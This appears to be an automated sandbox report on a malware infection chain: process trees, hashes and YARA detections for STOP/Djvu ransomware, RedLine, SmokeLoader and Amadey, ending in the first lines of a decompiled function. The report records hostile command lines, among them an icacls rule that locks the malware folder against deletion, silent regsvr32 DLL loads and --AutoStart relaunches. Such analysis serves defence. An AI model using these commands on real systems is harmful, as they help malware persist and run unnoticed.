Imagebase:	0x400000
File size:	842'240 bytes
MD5 hash:	8471A1A3950D0B7A56B8EC23F8201F97
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000009.00000002.636971935.0000000004007000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000009.00000002.637137314.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000009.00000002.637137314.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: 4149.exePID: 1900, Parent PID: 4132

General

Target ID:	10
Start time:	18:26:50
Start date:	27/07/2023
Path:	C:\Users\user\AppData\Local\Temp\4149.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\4149.exe
Imagebase:	0x400000
File size:	842'240 bytes
MD5 hash:	8471A1A3950D0B7A56B8EC23F8201F97
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000A.00000002.652250707.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000000A.00000002.652250707.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000A.00000002.652250707.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: icacls.exePID: 5872, Parent PID: 1900

General

Target ID:	11
Start time:	18:26:52
Start date:	27/07/2023
Path:	C:\Windows\SysWOW64\icacls.exe
Wow64 process (32bit):	true
Commandline:	icacls "C:\Users\user\AppData\Local\b9493cdd-4f9e-4392-9483-9c5b462e32e3" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Imagebase:	0xc0000
File size:	29'696 bytes
MD5 hash:	FF0D1D4317A44C951240FAE75075D501
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: 4149.exePID: 4588, Parent PID: 1088

General

Target ID:	13
Start time:	18:26:53
Start date:	27/07/2023
Path:	C:\Users\user\AppData\Local\b9493cdd-4f9e-4392-9483-9c5b462e32e3\4149.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\b9493cdd-4f9e-4392-9483-9c5b462e32e3\4149.exe --Task
Imagebase:	0x400000
File size:	842'240 bytes
MD5 hash:	8471A1A3950D0B7A56B8EC23F8201F97
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000D.00000002.755964328.00000000041E2000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000D.00000002.757206210.0000000004280000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000D.00000002.757206210.0000000004280000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 45%, ReversingLabs

Show Windows behavior

Chronological Activities

Analysis Process: 4149.exePID: 5672, Parent PID: 1900

General

Target ID:	17
Start time:	18:26:54
Start date:	27/07/2023
Path:	C:\Users\user\AppData\Local\Temp\4149.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\4149.exe" --Admin IsNotAutoStart IsNotTask
Imagebase:	0x400000
File size:	842'240 bytes
MD5 hash:	8471A1A3950D0B7A56B8EC23F8201F97
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000011.00000002.660308358.0000000004070000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000011.00000002.660447240.0000000004110000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000011.00000002.660447240.0000000004110000.00000040.00001000.00020000.00000000.sdmp, Author: unknown

Show Windows behavior

Chronological Activities

Analysis Process: B666.exePID: 6804, Parent PID: 3528

General

Target ID:	18
Start time:	18:26:54
Start date:	27/07/2023
Path:	C:\Users\user\AppData\Local\Temp\B666.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\B666.exe
Imagebase:	0x400000
File size:	842'752 bytes
MD5 hash:	DDA6D5E2EE28009E0535CCBF68E65A54
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000012.00000002.661077673.0000000004025000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000012.00000002.664889284.0000000004100000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000012.00000002.664889284.0000000004100000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML

Show Windows behavior

Chronological Activities

Analysis Process: 2355.exePID: 572, Parent PID: 3528

General

Target ID:	19
Start time:	18:26:58
Start date:	27/07/2023
Path:	C:\Users\user\AppData\Local\Temp\2355.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\2355.exe
Imagebase:	0x400000
File size:	413'696 bytes
MD5 hash:	3A5011DAFD018A37813DEF1412DD2C15
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000013.00000002.800068584.0000000004171000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000013.00000002.799971292.0000000004100000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000013.00000002.799971292.0000000004100000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000013.00000002.797455681.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000013.00000002.797455681.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Author: ditekSHen Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000013.00000002.808719162.0000000005485000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000013.00000002.799330490.0000000003E60000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000013.00000002.799330490.0000000003E60000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000013.00000002.804824632.0000000004565000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000013.00000002.798554583.0000000002458000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000013.00000002.804824632.0000000004471000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000013.00000002.800317816.00000000042C0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000013.00000002.800317816.00000000042C0000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000013.00000003.654257669.0000000003FF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000013.00000003.654257669.0000000003FF0000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen
Antivirus matches:	Detection: 100%, Joe Sandbox ML

Show Windows behavior

Chronological Activities

Analysis Process: B666.exePID: 4624, Parent PID: 6804

General

Target ID:	20
Start time:	18:26:59
Start date:	27/07/2023
Path:	C:\Users\user\AppData\Local\Temp\B666.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\B666.exe
Imagebase:	0x400000
File size:	842'752 bytes
MD5 hash:	DDA6D5E2EE28009E0535CCBF68E65A54
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000014.00000002.668807401.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000014.00000002.668807401.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000014.00000002.668807401.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown

Show Windows behavior

Chronological Activities

Analysis Process: 4149.exePID: 3720, Parent PID: 5672

General

Target ID:	21
Start time:	18:27:00
Start date:	27/07/2023
Path:	C:\Users\user\AppData\Local\Temp\4149.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\4149.exe" --Admin IsNotAutoStart IsNotTask
Imagebase:	0x400000
File size:	842'240 bytes
MD5 hash:	8471A1A3950D0B7A56B8EC23F8201F97
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000015.00000002.671427213.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000015.00000002.671427213.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000015.00000002.671427213.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown

Show Windows behavior

Chronological Activities

Analysis Process: 89DB.exePID: 6556, Parent PID: 3528

General

Target ID:	22
Start time:	18:27:00
Start date:	27/07/2023
Path:	C:\Users\user\AppData\Local\Temp\89DB.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\89DB.exe
Imagebase:	0x400000
File size:	322'560 bytes
MD5 hash:	28344CFF194F756C06233C84385E5602
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000016.00000002.677551538.0000000002470000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000016.00000002.677551538.0000000002470000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000016.00000002.676645337.0000000002460000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000016.00000002.678331405.0000000003F91000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000016.00000002.678331405.0000000003F91000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000016.00000002.678257505.00000000025C9000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000016.00000003.659211500.0000000002470000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML

Show Windows behavior

Chronological Activities

Analysis Process: 4149.exePID: 5496, Parent PID: 3528

General

Target ID:	23
Start time:	18:27:02
Start date:	27/07/2023
Path:	C:\Users\user\AppData\Local\b9493cdd-4f9e-4392-9483-9c5b462e32e3\4149.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\b9493cdd-4f9e-4392-9483-9c5b462e32e3\4149.exe" --AutoStart
Imagebase:	0x400000
File size:	842'240 bytes
MD5 hash:	8471A1A3950D0B7A56B8EC23F8201F97
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000017.00000002.677639778.000000000404D000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000017.00000002.677830115.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000017.00000002.677830115.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown

Show Windows behavior

Chronological Activities

Analysis Process: F0EE.exePID: 5484, Parent PID: 3528

General

Target ID:	24
Start time:	18:27:02
Start date:	27/07/2023
Path:	C:\Users\user\AppData\Local\Temp\F0EE.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\F0EE.exe
Imagebase:	0x9d0000
File size:	4'351'488 bytes
MD5 hash:	26115AFB115A50A1CBBC4A4DE8C6816D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000018.00000002.735927343.0000000004155000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_DLInjector04, Description: Detects downloader / injector, Source: C:\Users\user\AppData\Local\Temp\F0EE.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 76%, ReversingLabs

Show Windows behavior

Chronological Activities

Analysis Process: 5542.exePID: 1784, Parent PID: 3528

General

Target ID:	25
Start time:	18:27:04
Start date:	27/07/2023
Path:	C:\Users\user\AppData\Local\Temp\5542.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\5542.exe
Imagebase:	0x400000
File size:	322'048 bytes
MD5 hash:	7ED83EEE8A199046FBA2DCD3DBA06599
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000019.00000002.733370721.0000000002408000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000019.00000002.733202307.0000000002390000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs

Show Windows behavior

Chronological Activities

Analysis Process: 4149.exePID: 7004, Parent PID: 5496

General

Target ID:	26
Start time:	18:27:04
Start date:	27/07/2023
Path:	C:\Users\user\AppData\Local\b9493cdd-4f9e-4392-9483-9c5b462e32e3\4149.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\b9493cdd-4f9e-4392-9483-9c5b462e32e3\4149.exe" --AutoStart
Imagebase:	0x400000
File size:	842'240 bytes
MD5 hash:	8471A1A3950D0B7A56B8EC23F8201F97
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000001A.00000002.704160314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000001A.00000002.704160314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000001A.00000002.704160314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 1412, Parent PID: 3528

General

Target ID:	27
Start time:	18:27:05
Start date:	27/07/2023
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	regsvr32 /s C:\Users\user\AppData\Local\Temp\43AA.dll
Imagebase:	0x7ff6535d0000
File size:	24'064 bytes
MD5 hash:	D78B75FC68247E8A63ACBA846182740E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 2972, Parent PID: 1412

General

Target ID:	28
Start time:	18:27:05
Start date:	27/07/2023
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	/s C:\Users\user\AppData\Local\Temp\43AA.dll
Imagebase:	0x920000
File size:	20'992 bytes
MD5 hash:	426E7499F6A7346F0410DEAD0805586B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: aafg31.exePID: 6996, Parent PID: 5484

General

Target ID:	30
Start time:	18:27:06
Start date:	27/07/2023
Path:	C:\Users\user\AppData\Local\Temp\aafg31.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\aafg31.exe"
Imagebase:	0x7ff6f89a0000
File size:	247'808 bytes
MD5 hash:	179AF079BC710BD2D1EE6DC5B8A0205C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Fabookie, Description: Yara detected Fabookie, Source: 0000001E.00000003.742423411.00000000007DC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Fabookie, Description: Yara detected Fabookie, Source: 0000001E.00000003.777735323.00000000007DD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Fabookie, Description: Yara detected Fabookie, Source: 0000001E.00000003.733623686.00000000007DC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Fabookie, Description: Yara detected Fabookie, Source: 0000001E.00000003.720867205.00000000007DF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Fabookie, Description: Yara detected Fabookie, Source: 0000001E.00000003.714511396.00000000007DC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Fabookie, Description: Yara detected Fabookie, Source: 0000001E.00000003.712896879.00000000007DC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Fabookie, Description: Yara detected Fabookie, Source: 0000001E.00000003.770828365.00000000007DD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Fabookie, Description: Yara detected Fabookie, Source: 0000001E.00000003.710446992.00000000007DC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Fabookie, Description: Yara detected Fabookie, Source: 0000001E.00000003.760432477.00000000007DC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Fabookie, Description: Yara detected Fabookie, Source: 0000001E.00000003.779253254.00000000007DE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Fabookie, Description: Yara detected Fabookie, Source: 0000001E.00000003.758717400.00000000007DD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Fabookie, Description: Yara detected Fabookie, Source: 0000001E.00000003.721920559.00000000007DC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Fabookie, Description: Yara detected Fabookie, Source: 0000001E.00000003.756307627.00000000007DC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Fabookie, Description: Yara detected Fabookie, Source: 0000001E.00000003.753492688.00000000007DC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Fabookie, Description: Yara detected Fabookie, Source: 0000001E.00000003.780638526.00000000007DF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Fabookie, Description: Yara detected Fabookie, Source: 0000001E.00000003.752240800.00000000007DF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Fabookie, Description: Yara detected Fabookie, Source: 0000001E.00000003.750189516.00000000007DC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Fabookie, Description: Yara detected Fabookie, Source: 0000001E.00000003.750357522.00000000007DF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 50%, ReversingLabs

Show Windows behavior

Chronological Activities

Analysis Process: oldplayer.exePID: 6704, Parent PID: 5484

General

Target ID:	32
Start time:	18:27:06
Start date:	27/07/2023
Path:	C:\Users\user\AppData\Local\Temp\oldplayer.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\oldplayer.exe"
Imagebase:	0xea0000
File size:	202'752 bytes
MD5 hash:	A64A886A695ED5FB9273E73241FEC2F7
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000020.00000002.673885318.0000000000EA1000.00000020.00000001.01000000.00000016.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000020.00000000.668516085.0000000000EA1000.00000020.00000001.01000000.00000016.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Temp\oldplayer.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 89%, ReversingLabs

Show Windows behavior

Chronological Activities

Analysis Process: XandETC.exePID: 4596, Parent PID: 5484

General

Target ID:	33
Start time:	18:27:07
Start date:	27/07/2023
Path:	C:\Users\user\AppData\Local\Temp\XandETC.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\XandETC.exe"
Imagebase:	0x7ff685a20000
File size:	3'890'176 bytes
MD5 hash:	3006B49F3A30A80BB85074C279ACC7DF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 71%, ReversingLabs

Show Windows behavior

Chronological Activities

Analysis Process: WerFault.exePID: 5292, Parent PID: 1784

General

Target ID:	34
Start time:	18:27:07
Start date:	27/07/2023
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 1784 -s 524
Imagebase:	0x1280000
File size:	434'592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: oneetx.exePID: 4692, Parent PID: 6704

General

Target ID:	35
Start time:	18:27:09
Start date:	27/07/2023
Path:	C:\Users\user\AppData\Local\Temp\207aa4515d\oneetx.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\207aa4515d\oneetx.exe"
Imagebase:	0x3d0000
File size:	202'752 bytes
MD5 hash:	A64A886A695ED5FB9273E73241FEC2F7
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000023.00000002.798494824.00000000014B1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000023.00000002.798494824.0000000001473000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000023.00000000.673547711.00000000003D1000.00000020.00000001.01000000.0000001B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000023.00000002.797297534.00000000003D1000.00000020.00000001.01000000.0000001B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Temp\207aa4515d\oneetx.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 89%, ReversingLabs

Show Windows behavior

Chronological Activities

Analysis Process: B03B.exePID: 5104, Parent PID: 3528

General

Target ID:	36
Start time:	18:27:09
Start date:	27/07/2023
Path:	C:\Users\user\AppData\Local\Temp\B03B.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\B03B.exe
Imagebase:	0x400000
File size:	842'752 bytes
MD5 hash:	DDA6D5E2EE28009E0535CCBF68E65A54
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000024.00000002.694159919.0000000002504000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000024.00000002.702688387.0000000004050000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000024.00000002.702688387.0000000004050000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 5716, Parent PID: 3528

General

Target ID:	37
Start time:	18:27:10
Start date:	27/07/2023
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	regsvr32 /s C:\Users\user\AppData\Local\Temp\9E07.dll
Imagebase:	0x7ff6535d0000
File size:	24'064 bytes
MD5 hash:	D78B75FC68247E8A63ACBA846182740E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 5376, Parent PID: 5716

General

Target ID:	38
Start time:	18:27:10
Start date:	27/07/2023
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	/s C:\Users\user\AppData\Local\Temp\9E07.dll
Imagebase:	0x920000
File size:	20'992 bytes
MD5 hash:	426E7499F6A7346F0410DEAD0805586B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: 89B0.exePID: 5416, Parent PID: 3528

General

Target ID:	39
Start time:	18:27:10
Start date:	27/07/2023
Path:	C:\Users\user\AppData\Local\Temp\89B0.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\89B0.exe
Imagebase:	0x400000
File size:	842'240 bytes
MD5 hash:	8471A1A3950D0B7A56B8EC23F8201F97
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000027.00000002.692618909.0000000004090000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000027.00000002.692618909.0000000004090000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000027.00000002.692310620.0000000003FD0000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: file.exePID: 3912, Parent PID: 3528COMMON

Execution Graph

Execution Coverage:	3.4%
Dynamic/Decrypted Code Coverage:	87.2%
Signature Coverage:	44.9%
Total number of Nodes:	78
Total number of Limit Nodes:	3

Executed Functions

Function 00401558 Relevance: 10.7, APIs: 7, Instructions: 206
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			E00401558(intOrPtr _a4, void* _a8, intOrPtr _a12, intOrPtr _a16) {
				void* _v8;
				struct _EXCEPTION_RECORD _v12;
				void* _v16;
				void* _v20;
				char _v44;
				char _v52;
				intOrPtr _v56;
				long _v60;
				char _v64;
				void* _v68;
				char _v72;
				void* _v76;
				char _v84;
				char _v88;
				char _v92;
				intOrPtr _v96;
				char _v100;
				void* __edi;
				intOrPtr _t87;
				struct _EXCEPTION_RECORD _t90;
				intOrPtr _t91;
				struct _GUID _t97;
				struct _GUID _t99;
				long _t100;
				PVOID* _t121;
				PVOID* _t123;
				intOrPtr _t127;
				struct _EXCEPTION_RECORD* _t132;
				void* _t175;
				struct _EXCEPTION_RECORD _t176;
